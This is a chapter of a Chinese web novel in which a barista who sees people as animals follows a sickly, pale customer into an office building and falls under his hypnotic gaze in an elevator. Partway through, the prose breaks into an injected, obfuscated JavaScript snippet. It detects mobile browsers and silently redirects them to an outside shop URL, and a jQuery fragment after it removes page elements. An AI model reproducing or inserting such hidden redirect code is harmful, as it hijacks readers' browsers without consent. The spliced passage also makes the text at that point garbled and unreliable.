斑鸠同事从身边探出一个好奇的脑袋,眼睛睁得大大地盯着他。
“你小子看什么呢?”她探头探脑地跟着莫师的目光,注意到了刚进门的男人:“哇,大帅哥。”
“你在看他吗?”斑鸠伸出翅膀给了莫师一下,“等等,你看帅哥干什么?”
“有点像一个熟人……”莫师说着突然背过身去,拿起抹布开始清洁咖啡机,“他要来点单了。”
孙欣不明所以地转头热情地接待起来客:“先生今天想喝点什么?”
莫师没有回头,手上的抹布好像要把机器表面擦成一面镜子,在反光中他默默观察着男人。
男人的脸色已经超出了普通的苍白,因为过瘦脸上甚至能隐约看见淡青色蜿蜒的血管。
“先生,要给您推荐一下吗?”孙欣贴心地问道。
“不用。”男人回答。
他的声音传进莫师的耳朵里,声音带着一丝沙哑和虚弱,话语很轻,像是一捧被风扬起的砂砾。
“我要一杯意式浓缩。”男人回答。
莫师试着观察那个人的神情:他有注意到自己吗?
他正想着,一双锐利的目光穿透了反光的铁皮直直看到莫师脸上。他做贼心虚地回过头。
“一杯意式浓缩,小莫,会做了吧?”
男人问道:“这是新来的员工?”
“来了也有段时间了。”孙欣回答,“他学得很好。”
男人并没有多说什么,那双眼睛接下来好像黏在了莫师手上一样一瞬不瞬,盯得莫师如芒在背,快要从一只貘变成一只刺猬。
他的视线死死盯着缓缓流淌出的咖啡液,竭力躲避身后紧盯的目光。
可是没过三秒,他又忍不住看向反光里的身影。
那人就像一座冰雕,没有情绪,没有表情,甚至连呼吸都细微得难以察觉。
这样瘦削、骨感分明的身体对莫师而言也是陌生的,他见过瘦削的猫猫狗狗、小鸟小虫,可是没有见过瘦削的人。
透过男人的领口能看见两根分明的锁骨,他手指的线条也分外分明,整个人好像一具行走的人类骨骼模型。
“已经萃好了。”就在这时,男人冷不丁地说道。
莫师闻言手一抖,端起杯子时手一抖,杯子磕碰在桌沿发出一声巨响。
男人的目光终于移开,看向孙怡问道:“学得很好?”
孙欣走过来看了眼莫师做出的咖啡,讪笑:“哈哈哈他就是爱紧张,成品还是不错的。”
莫师不情不愿地端着杯子转过了身,因为磕碰,咖啡的卖相有些潦草。
但气味不会骗人,这的确是一杯醇香浓厚的意式浓缩。男人接过了杯子,手指轻轻蹭过莫师的手,留下一丝冰凉的触感。
这真的是人吗?莫师被男人的手冰得一惊,一时怀疑自己的世界动物图册中又多出了吸血鬼这一物种。
男人看起来相当不好对付,孙怡心里微微发毛,声音都弱了下去:“先生,要不我再给您重新做一杯?”
可男人只是一言不发地端走了咖啡。选了个靠窗的座位坐下,光线透过他的下颌线,勾勒出一个尖刻的轮廓。
莫师一直看着男人,看他端起杯子,面不改色地喝下一口那能苦得莫师灵魂出窍的咖啡,还抿抿唇好像余味深长。
接下来的半天莫师都心不在焉,他好似有百爪挠心一般,十分想上前一探究竟,却又不敢付诸行动。
于是,在孙欣眼里,自己一向稳重的新人同事眼睛就像锁在了新来的男客人身上,哪怕做着咖啡也要每隔几秒回头看男人一眼。
“不对劲啊……”孙欣皱皱眉,“莫师,你今天状态不好?”
“抱歉孙姐。”莫师挠挠头,“我今天不太舒服。”
“没事。”孙欣看了眼时间,“唔……也快到你下班时间了,要不今天提前一小时?”
“孙姐,你说真的吗?”莫师转头问道。
“你都帮我代这么多次班了,走吧走吧。”孙欣摆了摆手。
“好吧孙姐。”男人推开了门,“我先走了,改天给你带爆米花。”
“嘎嘎好好好。”孙欣笑出了鸽子叫,“等等,你怎么知道我喜欢爆米花的?”
莫师已经在孙欣微微偏头不解的目光中像一阵旋风般冲出了咖啡馆。
再看窗边座位,那个帅气的男顾客刚刚离开不久。
“平时最磨蹭的就是他了……”孙欣小声念叨着,“不对劲,绝对不对劲。”
-
莫师追出了咖啡馆,下午三四点街上动物稀疏。在几只满街乱爬的蜥蜴中,他一眼捕捉到了那个瘦高的身影。
跟踪讲究三件事:距离、遮挡、被发现后的脱身之计。
莫师第一次做这档事,心中一阵紧张的悸动,小心翼翼地压着距离。
对方似乎并没发现他的跟随,一边走路一边打着电话,脚步越走越快。
莫师跟着加快脚步,就在这时,男人好像右脚被什么绊到一般,整个人重心不稳向一颗被雷劈中的树,直挺挺地前倒去。
膝盖撞上地面,隔着几米远莫师都好像听见了响声。
他跟着露出了龇牙咧嘴的表情,刚刚想好的跟踪策略全部抛之脑后,身体自作主张追赶了上去。
“你没事吧!”他伸手拦住了男人要继续往前倒的身体。
男人突出的肋骨硌在他手臂上,他忍不住放轻了动作,生怕自己不小心把他骨头勒断。
男人额头沁出一层冷汗,看向他的眼神有些迷离,脸色很苍白,双手微微发着抖。
莫师从小只能看见动物,对动物的了解远胜于人类。
狗发抖可能是兴奋的,马发抖可能是跑累了,鸟类发抖可能是在求偶……
人类发抖是因为什么?莫师自己身体素质一向强悍,不懂什么叫低血糖也不懂什么叫贫血,看着男人的脸色觉得他可能是冷得。
发抖的人暂时没处理过,好在莫师见过冻得晕过去的小鸟。
当务之急是维持体温,眼下却没有合适的保温工具。
“失礼了……”莫师深呼一口气,脱下了自己身上的外套。
莫师虽然生活在自己的动物世界,但因为鼻子比一般人更灵,十分注重个人卫生,新洗的外套一股洗衣粉的芳香。他手法娴熟地把外套裹到了男人身上:“坚持住!不要睡!”
男人像只被绑得紧紧的病猫,本就不健硕的身体在包裹下细成一条,逼得他在不适中忍不住皱紧了眉:“这个傻子……”
可惜莫师心切之中并没有听清楚他比猫叫还细小的埋怨:“你说什么?我要帮你叫救护车吗?!”
“不用了。”男人看起来用尽了全身力气憋出一句话,不知是因为虚弱还是被勒得,“我公司就在前面大厦里,能不能……拜托你……”
病成这样还要上班吗?
莫师瞪大了眼睛,对眼前男人的态度顿时从戒备中生出了一丝怜悯:“你要回公司!?”
“对,求你……”男人说完这句话,表情更加痛苦地皱成了一团。
“喂喂你别死啊!!”
“暂时还没。”男人挣扎着抬起眼,“只要能到……”
“好好好我知道了!”莫师大脑一片空白,把男人的胳膊从裹成茧一般的外套里抽出来,搭在自己肩上。
在大厦门上赫然挂着几个大字——明光大厦。
看到这几个字时,莫师心中闪过一丝异样的阴云。好像命中注定,他还是阴差阳错地站在了这里。
他犹豫了,心脏砰砰直跳仿佛在打退堂鼓。
男人又抬起那张惨白的脸看他:“能劳烦您送我上去吗……”
狼咬人之前身体会紧绷,熊扑击之前喜欢发出低吼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17682769|207726||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,野猪冲撞之前前蹄反复刨地……
可是怀里的只是一个瘦弱得快要刀胸了的人类,一种莫名其妙的确信涌上莫师心头:人类不骗人类。
“……好。”几秒后,他终于还是在男人虚弱的注视中点了点头。
走进电梯,男人虚弱地借着莫师肩膀的力勉强站住。
莫师回头看见他这副境地叹了口气,放弃了最后一次抽身的机会,一只手揽住他不住往地上滑的身体一只手关上了电梯门:“去几楼?”
“十七楼。”在电梯门缓缓合拢的瞬间,男人脸上露出了一个若有似无的笑,“谢谢你……”
莫师的身体快过了大脑,当他反应过来时手指已经按亮了十七层的按键,姗姗来迟的警报声在他脑海中炸响。
“时黍睡眠咨询工作室/明光大厦1709室”。
瞬间,好像有一颗子弹贯穿了他迷茫的头脑。
连续出现的两个人类,饭店中的仓皇一瞥,今天的偶然相遇……真的是偶然吗?
自己站在大楼前犹豫着要不要踏进来的那一幕,真的是命中注定吗?还是……某种人为的阴谋呢?
可是已经晚了,电梯门缓缓紧闭。
莫师的手臂突然用力,一只手就把男人的整个身体抵在了墙上,从搀扶的姿势变成了胁迫。
“你是谁?”莫师恶狠狠地对着男人问,“你想做什么。”
“我……”男人被他抵在墙上,呼吸不畅地咳了两声,声音变得更加虚弱,“我做什么了?”
他的身体和大脑像没有关联似的,嘴唇还在虚弱地颤抖,目光已经几近迷离,说出的话却还是清醒的。
“你是故意把我引到这座楼里的。”莫师确信道。
眼看楼层爬上了十层,他狠狠松开手想要去按楼层键,男人却在这时抓住了他的手臂。
那双虚弱颤抖的手力量大得惊人,莫师竟然没有一次甩开。
忙乱间,他无意识地看向男人的眼睛。
“别动。”男人的口吻好像下令。明明声音还虚弱得没有一丝力气,那句话里的威压却意外地压过了莫师的怒火。
好像着了魔一般,莫师看向那双眼睛就再也没能移开。
霎时间,天旋地转。
明明还是白天,莫师却好像看见了天上流转的银河,小小的电梯变成了无边无际的宇宙。
在彻底失去意识之前,莫师意识到这感觉非常熟悉,就像那天站在小仓鼠女孩面前时一样。
短短几秒间,有无数场景涌进他的脑子里,好像把他整个人冲入洪水中一般,失重感席卷。
耳边的声音比之前安静、低沉,又更加撕心裂肺。
低低的啜泣、尖锐的鸣叫、嘶哑的吼声……
洪水、地震、坠落、分别……
好像只有须臾,又好像经历了万年,仿佛全世界催人肺腑的悲怒惊惧都在他头脑里过了一遍。
呼吸与心跳被压扁成一片薄薄的碎片,漂浮在无边无际的悲惨宇宙中
“到了。”
就在他即将沉落其中无法自觉时,一个声音响在耳边。
那个声音立体又无处不在,好像在这一无所有之地飘荡的旷古之回声。
莫师像从梦境中惊醒一般睁开了眼睛,胸口闷得像是被一座大山压着,回到空气充足的现实,下意识开始喘气。
他的目光还落在男人的眼睛里,那双眼睛好像焕发着奇异的光彩,在莫师睁开眼后又暗淡了下去。
莫师意识到,那句“到了”也是出自眼前这个男人之口。
他的手还被男人牢牢抓着,不知是不是他的错觉,那双手好像比刚刚更冰冷了一些。
“十七楼,到了。”
冷冰冰的电子播报声在耳边响起。
电梯门缓缓拉开,莫师转过身,一个未经设想又毫不意外的人站在眼前。